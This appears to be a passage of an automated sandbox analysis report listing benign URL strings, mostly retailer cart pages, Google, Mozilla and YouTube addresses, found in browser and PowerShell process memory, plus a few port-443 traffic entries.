Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.fingerhut.com/cart/index
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.finishline.com/store/cart/cart.jsp
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.freepeople.com/cart/
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gamestop.com/cart/
Source: chrome.exe, 00000008.00000002.7127786067.0000584C00D98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7122341169.0000584C00462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000008.00000002.7127786067.0000584C00D98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128228349.0000584C00E40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132654436.0000584C01464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129838311.0000584C010E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129789176.0000584C010D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129675523.0000584C010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062319899.0000584C00AB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120968568.0000584C00140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129190688.0000584C00FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7122341169.0000584C00462000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7124608954.0000584C00894000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7063139267.0000584C010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062605755.0000584C0044C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128366984.0000584C00E80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000008.00000002.7132854449.0000584C014AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7127786067.0000584C00D98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7067538797.0000584C011DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7133806940.0000584C01730000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132654436.0000584C01464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120811189.0000584C00100000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7125768794.0000584C00A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128161791.0000584C00E24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7125938414.0000584C00A88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129838311.0000584C010E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7125247676.0000584C00988000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129130302.0000584C00FC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7066237479.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129675523.0000584C010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062319899.0000584C00AB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120968568.0000584C00140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129190688.0000584C00FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7124608954.0000584C00894000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000008.00000002.7129564312.0000584C0106F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129190688.0000584C00FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130412789.0000584C01190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/0
Source: chrome.exe, 00000008.00000002.7129564312.0000584C0106F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129190688.0000584C00FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/0B4
Source: chrome.exe, 00000008.00000002.7125768794.0000584C00A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/#safe
Source: chrome.exe, 00000008.00000002.7125768794.0000584C00A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/?&brand=CH
Source: chrome.exe, 00000008.00000002.7122590013.0000584C0049C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7131014631.0000584C01230000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062319899.0000584C00AB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129190688.0000584C00FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132920169.0000584C014C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130412789.0000584C01190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/?&brand=CHWL&utm_campaign=en&utm_source=en-et-na-us-chrome-bubble&utm_
Source: chrome.exe, 00000008.00000002.7125768794.0000584C00A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/?&brand=CHX
Source: chrome.exe, 00000008.00000002.7125938414.0000584C00A88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/browser-features/
Source: chrome.exe, 00000008.00000002.7125938414.0000584C00A88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/browser-tools/
Source: chrome.exe, 00000008.00000002.7125768794.0000584C00A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062319899.0000584C00AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/next-steps.html?brand=CHWL&statcb=0&installdataindex=empty&defaultbrow
Source: chrome.exe, 00000008.00000002.7133310326.0000584C01578000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7126680888.0000584C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7127237249.0000584C00C9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000008.00000002.7132654436.0000584C01464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/api2/aframe
Source: chrome.exe, 00000008.00000003.7096839964.00005848006CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000008.00000002.7129838311.0000584C010E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129675523.0000584C010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7063139267.0000584C010B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=adobe
Source: chrome.exe, 00000008.00000002.7123415790.0000584C00720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7123753704.0000584C00794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130626113.0000584C011C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120148508.0000584C00004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=at
Source: chrome.exe, 00000008.00000002.7128228349.0000584C00E40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130734861.0000584C011E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130312596.0000584C01178000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129190688.0000584C00FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120148508.0000584C00004000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062605755.0000584C0044C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=autoit
Source: chrome.exe, 00000008.00000002.7129838311.0000584C010E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129675523.0000584C010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7063139267.0000584C010B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=bios320.exe
Source: chrome.exe, 00000008.00000002.7123866103.0000584C007E6000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132280150.0000584C01404000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7123753704.0000584C00794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129190688.0000584C00FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=eicar
Source: chrome.exe, 00000008.00000002.7121118063.0000584C00180000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128161791.0000584C00E24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120487781.0000584C00080000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129675523.0000584C010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7063139267.0000584C010B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=firefox
Source: chrome.exe, 00000008.00000002.7127493905.0000584C00D04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129789176.0000584C010D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=testzentrum
Source: chrome.exe, 00000008.00000002.7127493905.0000584C00D04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgRmgZjNGOG
Source: chrome.exe, 00000008.00000003.7090901833.0000584C00474000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7122440472.0000584C00474000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7069546876.0000584C00470000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7063356632.0000584C00470000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7071919309.0000584C00470000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7069475276.0000584C0046C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000008.00000002.7123415790.0000584C00720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com:443
Source: chrome.exe, 00000008.00000002.7127786067.0000584C00D98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7122341169.0000584C00462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000008.00000002.7121748450.0000584C00310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000008.00000003.7035687018.0000584800650000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7119633890.0000584800654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7035321285.0000584800650000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida
Source: chrome.exe, 00000008.00000003.7096839964.00005848006CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091875487.0000584C01988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000008.00000003.7035687018.0000584800650000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7119633890.0000584800654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7035321285.0000584800650000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aidaX
Source: chrome.exe, 00000008.00000003.7096839964.00005848006CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091875487.0000584C01988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000008.00000002.7127786067.0000584C00D98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7122341169.0000584C00462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.groupon.com/cart
Source: chrome.exe, 00000008.00000002.7127786067.0000584C00D98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7122341169.0000584C00462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.guitarcenter.com/cart
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.harborfreight.com/checkout/cart
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hmhco.com/hmhstorefront/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.homedepot.com/mycart/home
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.homesquare.com/Checkout/Cart.aspx
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hottopic.com/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hsn.com/checkout/bag
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ikea.com/us/en/shoppingcart/
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.jcpenney.com/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.jcrew.com/checkout/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.joann.com/cart
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.kohls.com/checkout/shopping_cart.jsp
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.landsend.com/shopping-bag/
Source: chrome.exe, 00000008.00000003.7069414637.0000584C005A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7122917388.0000584C005A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7071854524.0000584C0059C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7072029396.0000584C005A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.llbean.com/webapp/wcs/stores/servlet/LLBShoppingCartDisplay
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.lowes.com/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.lulus.com/checkout/bag
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.macys.com/my-bag
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.midwayusa.com/cart
Source: chrome.exe, 00000008.00000002.7129838311.0000584C010E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7121282554.0000584C001B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/firefox/all/#product-desktop-release
Source: chrome.exe, 00000008.00000002.7129838311.0000584C010E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7121282554.0000584C001B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120968568.0000584C00140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132706677.0000584C01474000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130114476.0000584C01130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/firefox/windows/
Source: chrome.exe, 00000008.00000002.7129838311.0000584C010E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120968568.0000584C00140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/firefox/windows/#
Source: chrome.exe, 00000008.00000002.7129564312.0000584C0106F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129838311.0000584C010E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/firefox/windows/0
Source: chrome.exe, 00000008.00000002.7129564312.0000584C0106F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129838311.0000584C010E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/firefox/windows/0B
Source: chrome.exe, 00000008.00000002.7129838311.0000584C010E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/firefox/windows/ODownload
Source: chrome.exe, 00000008.00000002.7129838311.0000584C010E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/firefox/windows/e
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.neimanmarcus.com/checkout/cart.jsp
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/json
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.nike.com/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.nordstrom.com/shopping-bag
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.officedepot.com/cart/shoppingCart.do
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.opticsplanet.com/checkout/cart
Source: chrome.exe, 00000008.00000002.7127786067.0000584C00D98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.oracle.com/search/results
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.otterbox.com/en-us/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.overstock.com/cart
Source: chrome.exe, 00000008.00000002.7124918689.0000584C00908000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.pacsun.com/on/demandware.store/Sites-pacsun-Site/default/Cart-Show
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.petsmart.com/cart/
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.pier1.com/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.pokemoncenter.com/cart
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.potterybarn.com/shoppingcart/
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qvc.com/checkout/cart.html
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.redbubble.com/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.rei.com/ShoppingCart
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.revolve.com/r/ShoppingBag.jsp
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.rockauto.com/en/cart/
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.saksfifthavenue.com/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.samsclub.com/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sephora.com/basket
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.shutterfly.com/cart/
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.staples.com/cc/mmx/cart
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sweetwater.com/store/cart.php
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.talbots.com/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.target.com/cart
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.teacherspayteachers.com/Cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.therealreal.com/cart
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tractorsupply.com/TSCShoppingCartView
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ulta.com/bag
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.underarmour.com/en-us/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.urbanoutfitters.com/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.vitalsource.com/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.walgreens.com/cart/view-ui
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.walmart.com/cart
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wayfair.com/v/checkout/basket/show
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.weightwatchers.com/us/shop/checkout/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.westelm.com/shoppingcart/
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wiley.com/en-us/cart
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.williams-sonoma.com/shoppingcart/
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wish.com/cart
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7057841838.0000584C001D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132146950.0000584C013C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7131076292.0000584C0123C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7057841838.0000584C001D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132074434.0000584C013A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7057841838.0000584C001D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000008.00000003.7091490304.0000584C0196C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7135416326.0000584C01978000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132789643.0000584C01498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7057841838.0000584C001D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: chrome.exe, 00000008.00000002.7132789643.0000584C01498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmlult
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zappos.com/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zazzle.com/co/cart
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zennioptical.com/shoppingCart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www2.hm.com/en_us/cart

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
